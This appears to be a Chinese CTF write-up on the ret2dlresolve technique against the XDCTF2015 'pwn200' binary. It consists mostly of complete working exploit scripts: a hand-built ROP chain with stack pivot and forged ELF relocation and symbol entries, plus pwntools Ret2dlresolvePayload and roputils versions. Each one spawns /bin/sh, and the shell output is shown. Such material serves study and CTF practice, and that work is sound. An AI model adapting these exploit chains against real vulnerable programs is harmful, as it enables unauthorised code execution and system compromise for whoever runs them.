io = process('./pwn200')
elf = ELF('./pwn200')
context.log_level = 'debug'

write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
bss_addr = elf.bss()

stack_size = 0x800
base_stage = bss_addr + stack_size

p_p_p_ret = 0x0804856c
leave_ret = 0x08048481
pop_ebp_ret = 0x08048453


payload1 = 'A'*112
payload1 += p32(read_plt)
payload1 += p32(p_p_p_ret)
payload1 += p32(0)
payload1 += p32(base_stage)
payload1 += p32(100)
payload1 += p32(pop_ebp_ret)
payload1 += p32(base_stage)
payload1 += p32(leave_ret) #stack piovt


JMPREL = 0x08048318 #ji zhi
SYMTAB = 0x080481d8
plt_start = 0x08048370
STRTAB = 0x08048268
fake_rel_addr = base_stage + 28 #计算得到
rel_offset = fake_rel_addr - JMPREL
binsh_addr = base_stage + 80 #计算得到

fake_sym_addr = base_stage + 36 #计算得到
align = 0x10 - ((fake_sym_addr - SYMTAB) & 0xf)
fake_sym_addr = fake_sym_addr + align
r_info = ((fake_sym_addr - SYMTAB)/0x10 << 8) | 0x7
fake_rel = p32(write_got) + p32(r_info)


fake_name_addr = fake_sym_addr + 16 #计算得到
st_name = fake_name_addr - STRTAB
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_start)
payload2 += p32(rel_offset)
payload2 += 'dead'
payload2 += p32(binsh_addr)#system的参数
payload2 += 'BBBB'
payload2 += 'BBBB'
payload2 += fake_rel
payload2 += 'C'*align
payload2 += fake_sym
payload2 += 'system\x00'
payload2 = payload2.ljust(80,'D')
payload2 += '/bin/sh\x00'
payload2 = payload2.ljust(100,'D')

io.recvuntil('Welcome to XDCTF2015~!')

io.sendline(payload1)
sleep(0.5)
io.sendline(payload2)

io.interactive()

成功getshell
1
2
3
4
5
6
7
8
9
[*] Switching to interactive mode

$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'ayoung\n'
ayoung

利用工具

pwntools

exp1-rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# coding: utf-8
from pwn import *
elf = ELF('pwn200')
p = process('./pwn200')
rop = ROP('./pwn200')#首先创建一个ROP对象
write_got = elf.got['write']
offset = 112
bss_addr = elf.bss()
p.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)#在ROP链中填充offset个a
### read 100 byte to base_stage
rop.read(0, base_stage, 100)#简易的调用read函数,相当于rop.call('read',[0,base_stage,100])
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
#rop.migrate(base_stage)会将程序流程又转到base_stage
p.sendline(rop.chain())

#gdb.attach(p)
rop = ROP('./pwn200')
sh = '/bin/sh'
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


binsh_addr = base_stage + 82

fake_rel_addr = base_stage + 16
fake_dynsym_addr = fake_rel_addr + 8
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr = fake_dynsym_addr + align
index_dynsym = (fake_dynsym_addr - dynsym)/0x10
r_info = (index_dynsym << 8) | 0x7

fake_rel = flat([write_got, r_info])
reloc_offset = fake_rel_addr - rel_plt

fake_name_addr = fake_dynsym_addr +16
st_name = fake_name_addr - dynstr
fake_sym = flat([st_name, 0, 0, 0x12])

rop.raw(plt0)
rop.raw(reloc_offset)
rop.raw('bbbb')
rop.raw(binsh_addr)
rop.raw(fake_rel)
rop.raw('a'*align)
rop.raw(fake_sym)
rop.raw('system\x00') #需要\x00作为字符串结尾
rop.raw('a'*(80-len(rop.chain())))
rop.raw(sh+'\x00')
rop.raw('a'*(100-len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

注意:第三十二行,”/bin/sh”的偏移原本为80,这里多加2是因为pwntools会自动帮你对齐字符串
下图(偏移设为80时)可以看到(但我还不知道具体原因。。)

exp2-dlresolve

pwntools 内部集成了 Ret2dlresolvePayload 工具
Ret2dlresolvePayload,第一个参数是目标文件的 ELF 对象,第二个是想要解析的函数名,第三个是函数参数
官方的例子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000: 0x80482e0 read(0, 0x804ae00)
0x0004: 0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008: 0x0 arg0
0x000c: 0x804ae00 arg1
0x0010: 0x80482d0 [plt_init] system(0x804ae24)
0x0014: 0x2b84 [dlresolve index]
0x0018: b'gaaa' <return address>
0x001c: 0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
context.binary = elf = ELF('./pwn200')
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])


rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn200")
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

roputils

https://github.com/inaz2/roputils/tree/master/examples

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./pwn200')
context.log_level = 'debug'
r.recv()

rop = ROP('./pwn200')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

关于dl_resolve_call与dl_resolve_data的细节可以查看源码,主要就是帮我们把之前手动构造的参数都构造好了。且dl_resolve 执行完之后也是需要有对应的返回地址的
需要填写的部分:

  • dl_resolve_call的两个参数分别是开始布置dlresolve的地址和参数的地址
  • dl_resolve_data的两个参数分别是开始布置dlresolve的地址和函数名称的地址

    参考链接

  1. https://wiki.x10sec.org/pwn/linux/stackoverflow/advanced-rop-zh/
  2. http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
  3. https://ray-cp.github.io/archivers/ret2dl_resolve_analysis#64%E4%BD%8Delf%E7%A8%8B%E5%BA%8F%E7%9A%84ret2dl_resolve
  4. https://wzt.ac.cn/2019/12/01/Ret2runtime_dlresolve/